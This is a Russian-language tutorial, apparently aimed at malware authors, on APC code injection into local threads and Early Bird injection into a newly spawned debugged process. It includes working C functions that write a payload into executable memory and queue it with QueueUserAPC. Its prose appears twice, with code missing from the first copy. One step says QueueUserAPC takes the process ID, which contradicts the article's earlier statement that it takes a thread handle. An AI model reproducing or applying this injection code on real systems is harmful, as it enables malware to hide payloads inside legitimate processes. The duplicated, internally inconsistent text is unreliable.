Предлагаю в этой статье рассмотреть один способ выполнения полезной нагрузки без создания нового потока. Этот метод известен как APC-инъекция.
Что такое APC? Асинхронные вызовы процедур (APC) — это механизм операционной системы Windows, который позволяет программам выполнять задачи асинхронно, продолжая выполнять другие задачи. APC реализованы как процедуры в режиме ядра, выполняемые в контексте определенного потока.
Вредоносное ПО может использовать APC для постановки в очередь полезной нагрузки и последующего ее выполнения по расписанию.
Состояние готовности
Не все потоки могут выполнить поставленную в очередь функцию APC, это могут сделать только потоки в состоянии готовности. Такой поток находится в режиме ожидания. Когда поток переходит в состояние готовности, он помещается в очередь готовых потоков, что позволяет ему выполнять функции APC из очереди.
Что такое APC-инъекция?
Для постановки функции APC в очередь потока адрес этой функции должен быть передан в QueueUserAPC WinAPI.
Согласно документации Microsoft:
Приложение помещает APC в очередь потока, вызывая функцию QueueUserAPC. Вызывающий поток указывает адрес функции APC в вызове QueueUserAPC.
Адрес внедренной полезной нагрузки будет передан в QueueUserAPC для ее выполнения. Перед этим поток в локальном процессе должен быть переведен в состояние готовности.
QueueUserAPC
QueueUserAPC представлена ниже и принимает 3 аргумента:
pfnAPC - Адрес вызываемой функции APC.
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного потока.
dwData - Если функция APC требует параметры, они могут быть переданы здесь. В коде этой статьи это значение будет NULL.
Перевод потока в состояние готовности
Поток, который будет выполнять поставленную в очередь функцию, должен находиться в состоянии готовности. Это можно сделать, создав поток и используя один из следующих WinAPI:
Эти функции используются для синхронизации потоков и улучшения производительности и отклика приложений, однако в этом случае достаточно передать дескриптор фиктивного события.
Передача корректных параметров этим функциям не требуется, так как простое использование одной из функций достаточно для перевода потока в состояние готовности.
Для создания фиктивного события будет использоваться WinAPI CreateEvent.
Новый объект события — это объект синхронизации, который позволяет потокам общаться между собой, сигнализируя и ожидая событий. Поскольку результат CreateEvent не имеет значения, любое действующее событие может быть передано ранее показанными WinAPI.
Использование функций
Ниже приведены примеры использования функций для перевода текущего потока в состояние готовности.
Используя Sleep:
Используя SleepEx:
Используя WaitForSingleObject:
Используя MsgWaitForMultipleObjects:
Используя SignalObjectAndWait:
Потоки созданные в приостановленном состоянии, также могут выполниться.
Если целевой поток создается в приостановленном состоянии. Если этот метод используется для выполнения полезной нагрузки, сначала следует вызвать QueueUserAPC, а затем возобновить приостановленный поток. При этом поток должен быть создан в приостановленном состоянии, приостановка существующего потока не сработает.
Код, представленный в этой статье, демонстрирует APC-инъекцию через поток в состоянии готовности и приостановленный поток.
Логика реализации APC-инъекции
В качестве итога, логика реализации будет следующей:
Сначала создайте поток, который выполняет одну из вышеупомянутых функций, чтобы перевести его в состояние готовности. Внедрите полезную нагрузку в память. Дескриптор потока и базовый адрес полезной нагрузки будут переданы в качестве входных параметров в QueueUserAPC.
Функция APC-инъекции RunViaApcInjection — это функция, которая выполняет APC-инъекцию и требует 3 аргумента:
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного.
pPayload - Указатель на базовый адрес полезной нагрузки.
sPayloadSize - Размер полезной нагрузки.
Демо - APC-инъекция с использованием потока в состоянии готовности
Демо - APC-инъекция с использованием потока в приостановленном состоянии
APC Injection в удаленном процессе
Теперь предлагаю использовать тот же API для выполнения полезной нагрузки в удаленном процессе. Хотя подход немного отличается, используемый метод остается тем же.
К этому моменту должно быть хорошо понятно, что инъекция APC требует либо приостановленного потока, либо потока в состоянии готовности для успешного выполнения полезной нагрузки.
Однако трудно найти потоки в этих состояниях, особенно те, которые работают с обычными правами пользователя.
Решение состоит в создании приостановленного процесса с использованием WinAPI CreateProcess и использовании дескриптора его приостановленного потока. Приостановленный поток соответствует критериям использования в APC инъекции. Этот метод известен как ранняя инъекция APC (Early Bird APC Injection).
Логика реализации Early Bird. Логика реализации этой техники будет следующей:
Будет использоваться CreateProcess, но флаг создания процесса будет изменен с CREATE_SUSPENDED на DEBUG_PROCESS. Флаг DEBUG_PROCESS создает новый процесс в качестве отлаживаемого процесса и делает локальный процесс его отладчиком. Когда процесс создается как отлаживаемый процесс, точка останова устанавливается в его точке входа. Это приостанавливает процесс и ожидает, когда отладчик (то есть вредоносное ПО) возобновит выполнение.
Когда это происходит, полезная нагрузка внедряется в целевой процесс для выполнения с помощью WinAPI QueueUserAPC. После внедрения полезной нагрузки и постановки в очередь отлаживаемого потока для выполнения полезной нагрузки, локальный процесс может быть отсоединен от целевого процесса с использованием DebugActiveProcessStop WinAPI, что прекращает отладку удаленного процесса.
DebugActiveProcessStop требует только одного параметра, который представляет собой PID отлаживаемого процесса, который можно получить из структуры PROCESS_INFORMATION, заполненной CreateProcess.
Обновленная логика будет следующей:
CreateSuspendedProcess2 - это функция, которая создает процесс в приостановленном состоянии:
Далее необходимо:
Демо
На изображении ниже показан только что созданный целевой процесс в состоянии отладки. Отлаживаемый процесс выделен пурпурным цветом в Process Hacker.
Далее полезная нагрузка записывается в целевой процесс.
Наконец, полезная нагрузка выполняется.
Что такое APC? Асинхронные вызовы процедур (APC) — это механизм операционной системы Windows, который позволяет программам выполнять задачи асинхронно, продолжая выполнять другие задачи. APC реализованы как процедуры в режиме ядра, выполняемые в контексте определенного потока.
Вредоносное ПО может использовать APC для постановки в очередь полезной нагрузки и последующего ее выполнения по расписанию.
Состояние готовности
Не все потоки могут выполнить поставленную в очередь функцию APC, это могут сделать только потоки в состоянии готовности. Такой поток находится в режиме ожидания. Когда поток переходит в состояние готовности, он помещается в очередь готовых потоков, что позволяет ему выполнять функции APC из очереди.
Что такое APC-инъекция?
Для постановки функции APC в очередь потока адрес этой функции должен быть передан в QueueUserAPC WinAPI.
Согласно документации Microsoft:
Приложение помещает APC в очередь потока, вызывая функцию QueueUserAPC. Вызывающий поток указывает адрес функции APC в вызове QueueUserAPC.
Адрес внедренной полезной нагрузки будет передан в QueueUserAPC для ее выполнения. Перед этим поток в локальном процессе должен быть переведен в состояние готовности.
QueueUserAPC
QueueUserAPC представлена ниже и принимает 3 аргумента:
pfnAPC - Адрес вызываемой функции APC.
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного потока.
dwData - Если функция APC требует параметры, они могут быть переданы здесь. В коде этой статьи это значение будет NULL.
C:
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
Перевод потока в состояние готовности
Поток, который будет выполнять поставленную в очередь функцию, должен находиться в состоянии готовности. Это можно сделать, создав поток и используя один из следующих WinAPI:
C:
Sleep
SleepEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjectsEx
WaitForSingleObject
WaitForSingleObjectEx
WaitForMultipleObjects
WaitForMultipleObjectsEx
SignalObjectAndWait
Эти функции используются для синхронизации потоков и улучшения производительности и отклика приложений, однако в этом случае достаточно передать дескриптор фиктивного события.
Передача корректных параметров этим функциям не требуется, так как простое использование одной из функций достаточно для перевода потока в состояние готовности.
Для создания фиктивного события будет использоваться WinAPI CreateEvent.
Новый объект события — это объект синхронизации, который позволяет потокам общаться между собой, сигнализируя и ожидая событий. Поскольку результат CreateEvent не имеет значения, любое действующее событие может быть передано ранее показанными WinAPI.
Использование функций
Ниже приведены примеры использования функций для перевода текущего потока в состояние готовности.
Используя Sleep:
C:
VOID AlertableFunction1() {
Sleep(-1);
}
Используя SleepEx:
C:
VOID AlertableFunction2() {
SleepEx(INFINITE, TRUE);
}
Используя WaitForSingleObject:
C:
VOID AlertableFunction3() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent){
WaitForSingleObject(hEvent, INFINITE);
CloseHandle(hEvent);
}
}
Используя MsgWaitForMultipleObjects:
C:
VOID AlertableFunction4() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
MsgWaitForMultipleObjects(1, &hEvent, TRUE, INFINITE, QS_INPUT);
CloseHandle(hEvent);
}
}
Используя SignalObjectAndWait:
C:
VOID AlertableFunction5() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent1 && hEvent2) {
SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
CloseHandle(hEvent1);
CloseHandle(hEvent2);
}
}
Потоки созданные в приостановленном состоянии, также могут выполниться.
Если целевой поток создается в приостановленном состоянии. Если этот метод используется для выполнения полезной нагрузки, сначала следует вызвать QueueUserAPC, а затем возобновить приостановленный поток. При этом поток должен быть создан в приостановленном состоянии, приостановка существующего потока не сработает.
Код, представленный в этой статье, демонстрирует APC-инъекцию через поток в состоянии готовности и приостановленный поток.
Логика реализации APC-инъекции
В качестве итога, логика реализации будет следующей:
Сначала создайте поток, который выполняет одну из вышеупомянутых функций, чтобы перевести его в состояние готовности. Внедрите полезную нагрузку в память. Дескриптор потока и базовый адрес полезной нагрузки будут переданы в качестве входных параметров в QueueUserAPC.
Функция APC-инъекции RunViaApcInjection — это функция, которая выполняет APC-инъекцию и требует 3 аргумента:
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного.
pPayload - Указатель на базовый адрес полезной нагрузки.
sPayloadSize - Размер полезной нагрузки.
C:
BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("\t[!] VirtualAlloc не удалось выполнить с ошибкой : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\t[!] VirtualProtect не удалось выполнить с ошибкой : %d \n", GetLastError());
return FALSE;
}
// Если hThread находится в состоянии готовности, QueueUserAPC непосредственно выполнит полезную нагрузку
// Если hThread находится в приостановленном состоянии, полезная нагрузка не будет выполнена, пока поток не будет возобновлен после этого
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
printf("\t[!] QueueUserAPC не удалось выполнить с ошибкой : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Демо - APC-инъекция с использованием потока в состоянии готовности
Демо - APC-инъекция с использованием потока в приостановленном состоянии
APC Injection в удаленном процессе
Теперь предлагаю использовать тот же API для выполнения полезной нагрузки в удаленном процессе. Хотя подход немного отличается, используемый метод остается тем же.
К этому моменту должно быть хорошо понятно, что инъекция APC требует либо приостановленного потока, либо потока в состоянии готовности для успешного выполнения полезной нагрузки.
Однако трудно найти потоки в этих состояниях, особенно те, которые работают с обычными правами пользователя.
Решение состоит в создании приостановленного процесса с использованием WinAPI CreateProcess и использовании дескриптора его приостановленного потока. Приостановленный поток соответствует критериям использования в APC инъекции. Этот метод известен как ранняя инъекция APC (Early Bird APC Injection).
Логика реализации Early Bird. Логика реализации этой техники будет следующей:
- Создать приостановленный процесс, используя флаг CREATE_SUSPENDED.
- Записать полезную нагрузку в адресное пространство нового целевого процесса.
- Получить дескриптор приостановленного потока из CreateProcess вместе с базовым адресом полезной нагрузки и передать их в QueueUserAPC.
- Возобновить поток с использованием WinAPI ResumeThread для выполнения полезной нагрузки.
Будет использоваться CreateProcess, но флаг создания процесса будет изменен с CREATE_SUSPENDED на DEBUG_PROCESS. Флаг DEBUG_PROCESS создает новый процесс в качестве отлаживаемого процесса и делает локальный процесс его отладчиком. Когда процесс создается как отлаживаемый процесс, точка останова устанавливается в его точке входа. Это приостанавливает процесс и ожидает, когда отладчик (то есть вредоносное ПО) возобновит выполнение.
Когда это происходит, полезная нагрузка внедряется в целевой процесс для выполнения с помощью WinAPI QueueUserAPC. После внедрения полезной нагрузки и постановки в очередь отлаживаемого потока для выполнения полезной нагрузки, локальный процесс может быть отсоединен от целевого процесса с использованием DebugActiveProcessStop WinAPI, что прекращает отладку удаленного процесса.
DebugActiveProcessStop требует только одного параметра, который представляет собой PID отлаживаемого процесса, который можно получить из структуры PROCESS_INFORMATION, заполненной CreateProcess.
Обновленная логика будет следующей:
- Создать отлаживаемый процесс, установив флаг DEBUG_PROCESS.
- Записать полезную нагрузку в адресное пространство нового целевого процесса.
- Получить дескриптор отлаживаемого потока из CreateProcess вместе с базовым адресом полезной нагрузки и передать их в QueueUserAPC.
- Прекратить отладку удаленного процесса с использованием DebugActiveProcessStop, который возобновляет его потоки и выполняет полезную нагрузку.
CreateSuspendedProcess2 - это функция, которая создает процесс в приостановленном состоянии:
- lpProcessName - Имя процесса для создания.
- dwProcessId - Указатель на DWORD, который получит PID только что созданного процесса.
- hProcess - Указатель на HANDLE, который получит дескриптор только что созданного процесса.
- hThread - Указатель на HANDLE, который получит дескриптор только что созданного потока процесса.
C:
BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// Очистка структур, установка значений элементов в 0
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Установка размера структуры
Si.cb = sizeof(STARTUPINFO);
// Получение пути переменной окружения %WINDIR% (который обычно равен 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA не удалось выполнить с ошибкой : %d \n", GetLastError());
return FALSE;
}
// Создание пути к целевому процессу
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Запуск : \"%s\" ... ", lpPath);
// Создание процесса
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // Вместо CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA не удалось выполнить с ошибкой : %d \n", GetLastError());
return FALSE;
}
printf("[+] ГОТОВО \n");
// Заполнение выходного параметра результатами выполнения CreateProcessA
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// Проверка наличия всего необходимого
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
Далее необходимо:
- Записать полезную нагрузку в адресное пространство нового целевого процесса.
- Передать dwProcessId и адрес полезной нагрузки в QueueUserAPC.
- Прекратить отладку удаленного процесса вызвав DebugActiveProcessStop, который возобновляет его потоки и выполняет полезную нагрузку.
Демо
На изображении ниже показан только что созданный целевой процесс в состоянии отладки. Отлаживаемый процесс выделен пурпурным цветом в Process Hacker.
Далее полезная нагрузка записывается в целевой процесс.
Наконец, полезная нагрузка выполняется.